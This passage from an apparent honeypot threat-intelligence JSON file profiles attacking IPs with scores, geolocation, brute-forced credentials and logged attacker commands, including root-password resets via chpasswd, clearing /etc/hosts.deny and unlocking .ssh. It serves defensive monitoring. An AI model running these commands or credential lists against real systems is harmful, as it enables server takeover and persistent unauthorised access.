      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233445566",
        "1234",
        "123456",
        "1Password!",
        "916495a3@c4e778B8824fa763158be46",
        "Qq123123!",
        "Sq123456",
        "Teste123@",
        "Voidsetdownload.so",
        "lek",
        "marco",
        "monitoring@123",
        "vishal"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\nwCHXMbJaqrRg\\nwCHXMbJaqrRg\\n\"|passwd",
        "echo \"root:xV1p9lFnrZJk\"|chpasswd|bash",
        "echo -e \"Voidsetdownload.so\\nwCHXMbJaqrRg\\nwCHXMbJaqrRg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:47:37.884000+00:00",
        "last_seen_30d": "2026-05-26T21:23:36.167000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 39
      }
    },
    "180.106.120.235": {
      "attack_count": 192,
      "first_seen": "2026-05-20T18:19:59.949Z",
      "last_seen": "2026-05-21T06:08:00.374Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140292,
      "as_org": "CHINATELECOM Jiangsu province Suzhou 5G network",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:19:59.949000+00:00",
        "last_seen_30d": "2026-05-21T06:18:25.453000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 103
      }
    },
    "175.118.127.138": {
      "attack_count": 174,
      "first_seen": "2026-05-21T16:16:33.071Z",
      "last_seen": "2026-05-21T16:44:17.194Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "chiji",
        "345gs5662d34",
        "anil",
        "ding",
        "freeipa",
        "grafana",
        "postfix",
        "qunar",
        "ramesh",
        "seo",
        "socks",
        "sonar",
        "steam",
        "supervisor",
        "yongqiang",
        "zhang"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "1990",
        "20010101",
        "3245gs5662d34",
        "345gs5662d34",
        "anil",
        "bocom",
        "chiji",
        "default",
        "esxi",
        "freeipa",
        "nb",
        "password",
        "ramesh",
        "socks",
        "softbank",
        "steam",
        "supervisor"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"chiji\\nn5TeeHi1kle4\\nn5TeeHi1kle4\\n\"|passwd",
        "echo -e \"chiji\\nn5TeeHi1kle4\\nn5TeeHi1kle4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:16:33.071000+00:00",
        "last_seen_30d": "2026-05-21T16:45:18.009000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 52
      }
    },
    "187.33.251.218": {
      "attack_count": 173,
      "first_seen": "2026-05-14T01:15:26.483Z",
      "last_seen": "2026-05-14T01:48:22.569Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "daniel",
        "dev",
        "evan",
        "felix",
        "indico",
        "postgres",
        "rustserver",
        "sammy",
        "test",
        "user",
        "uurgatiy"
      ],
      "passwords_attempted": [
        "!QAZ1qaz",
        "123",
        "12345678",
        "1981",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "Huawei12#$",
        "L8GnGhXyKUEF",
        "Pass123!",
        "cisco123",
        "daniel1234",
        "devpass",
        "evan",
        "felix",
        "indico",
        "jancok123",
        "kubeadmin",
        "rust",
        "s12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:soV6MTmVrkuu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jo\u00e3o Pessoa",
      "asn": 53087,
      "as_org": "TELY Ltda.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:15:26.483000+00:00",
        "last_seen_30d": "2026-05-14T01:49:24.096000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "168.167.228.123": {
      "attack_count": 124,
      "first_seen": "2026-05-28T07:04:56.806Z",
      "last_seen": "2026-05-28T07:28:38.438Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "bacula",
        "gpadmin",
        "llm",
        "toor",
        "ubuntu",
        "vpnuser"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@112233",
        "Lh123456@",
        "anon",
        "bacula",
        "fjbdfdjkdsfs541544",
        "gpadmin@123",
        "llm",
        "root1234!",
        "toor",
        "vpnuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\nPeY8Vvq4rQdD\\nPeY8Vvq4rQdD\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nPeY8Vvq4rQdD\\nPeY8Vvq4rQdD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": "Gaborone",
      "asn": 14988,
      "as_org": "BTC-GATE1",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:04:56.806000+00:00",
        "last_seen_30d": "2026-05-28T07:29:45.205000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "128.14.225.164": {
      "attack_count": 123,
      "first_seen": "2026-05-23T17:52:30.836Z",
      "last_seen": "2026-05-23T18:22:08.765Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "arun",
        "khan",
        "myuser",
        "tester"
      ],
      "passwords_attempted": [
        "123",
        "!Q@W3e4r",
        "123456..",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112211",
        "Aa123456!!",
        "Aaa123456",
        "aroot",
        "arun",
        "khan",
        "zhang123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KOTBFAJi8pAg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:52:30.836000+00:00",
        "last_seen_30d": "2026-05-23T18:23:11.036000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "103.237.144.204": {
      "attack_count": 119,
      "first_seen": "2026-05-21T21:36:10.496Z",
      "last_seen": "2026-05-21T22:17:28.422Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "tunnel",
        "345gs5662d34",
        "suporte",
        "t",
        "user1",
        "vpn"
      ],
      "passwords_attempted": [
        "#Salutar1",
        "123",
        "12QWaszx",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123@",
        "Root@12345",
        "Test123!",
        "suporte",
        "t",
        "tunnel",
        "vpn"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"tunnel\\nYViIdtpamcOY\\nYViIdtpamcOY\\n\"|passwd",
        "echo -e \"tunnel\\nYViIdtpamcOY\\nYViIdtpamcOY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131414,
      "as_org": "Long Van Soft Solution JSC",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:36:10.496000+00:00",
        "last_seen_30d": "2026-05-21T22:18:38.425000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "83.136.232.32": {
      "attack_count": 119,
      "first_seen": "2026-05-30T12:44:44.401Z",
      "last_seen": "2026-05-30T13:08:15.683Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "345gs5662d34",
        "anton",
        "backupuser",
        "soporte"
      ],
      "passwords_attempted": [
        "!@#qwe123QWE",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc#2025",
        "Password1@",
        "Xx123456.",
        "Zxcvb123",
        "anton",
        "backupuser",
        "soporte2026",
        "zxc123321"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nCYYBFQt3SVgA\\nCYYBFQt3SVgA\\n\"|passwd",
        "echo -e \"123\\nCYYBFQt3SVgA\\nCYYBFQt3SVgA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T12:44:44.401000+00:00",
        "last_seen_30d": "2026-05-30T13:09:25.055000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "23.237.188.34": {
      "attack_count": 108,
      "first_seen": "2026-05-11T14:44:51.119Z",
      "last_seen": "2026-05-31T19:52:55.996Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:44:51.119000+00:00",
        "last_seen_30d": "2026-05-31T19:53:58.713000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "147.182.240.221": {
      "attack_count": 104,
      "first_seen": "2026-05-05T01:14:02.639Z",
      "last_seen": "2026-05-05T01:20:41.819Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:07:56.882000+00:00",
        "last_seen_30d": "2026-05-05T01:22:52.757000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Cowrie": 104
      }
    },
    "195.88.211.210": {
      "attack_count": 102,
      "first_seen": "2026-05-10T00:56:05.691Z",
      "last_seen": "2026-05-31T22:14:19.927Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 214882,
      "as_org": "Hadi Santosa",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T00:56:05.691000+00:00",
        "last_seen_30d": "2026-05-31T22:15:25.729000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 52
      }
    },
    "34.79.94.132": {
      "attack_count": 72,
      "first_seen": "2026-05-08T08:42:25.356Z",
      "last_seen": "2026-05-08T08:43:13.428Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7494",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:42:25.356000+00:00",
        "last_seen_30d": "2026-05-08T08:44:21.440000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "91.219.62.79": {
      "attack_count": 54,
      "first_seen": "2026-05-08T03:10:19.329Z",
      "last_seen": "2026-05-19T13:35:41.768Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:10:19.329000+00:00",
        "last_seen_30d": "2026-05-19T13:36:44.451000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "115.48.36.4": {
      "attack_count": 50,
      "first_seen": "2026-05-08T14:35:11.963Z",
      "last_seen": "2026-05-08T14:40:36.394Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:35:11.963000+00:00",
        "last_seen_30d": "2026-05-08T14:41:44.239000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.26.77": {
      "attack_count": 48,
      "first_seen": "2026-05-09T01:00:37.229Z",
      "last_seen": "2026-05-09T01:05:48.613Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:00:37.229000+00:00",
        "last_seen_30d": "2026-05-09T01:06:49.091000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "77.72.5.47": {
      "attack_count": 48,
      "first_seen": "2026-05-07T07:29:46.573Z",
      "last_seen": "2026-05-11T06:55:32.099Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 12488,
      "as_org": "Krystal Hosting Ltd",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:29:46.573000+00:00",
        "last_seen_30d": "2026-05-11T06:56:39.145000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Cowrie": 48
      }
    },
    "103.173.7.229": {
      "attack_count": 46,
      "first_seen": "2026-05-13T07:03:08.102Z",
      "last_seen": "2026-05-13T07:08:06.632Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T07:03:08.102000+00:00",
        "last_seen_30d": "2026-05-13T07:09:16.446000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "114.217.10.60": {
      "attack_count": 39,
      "first_seen": "2026-05-28T07:39:39.075Z",
      "last_seen": "2026-05-28T08:10:57.191Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "crypto",
        "root",
        "test"
      ],
      "passwords_attempted": [
        "Secure@2025",
        "crypto",
        "fjbdfdjkdsfs541544",
        "password123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
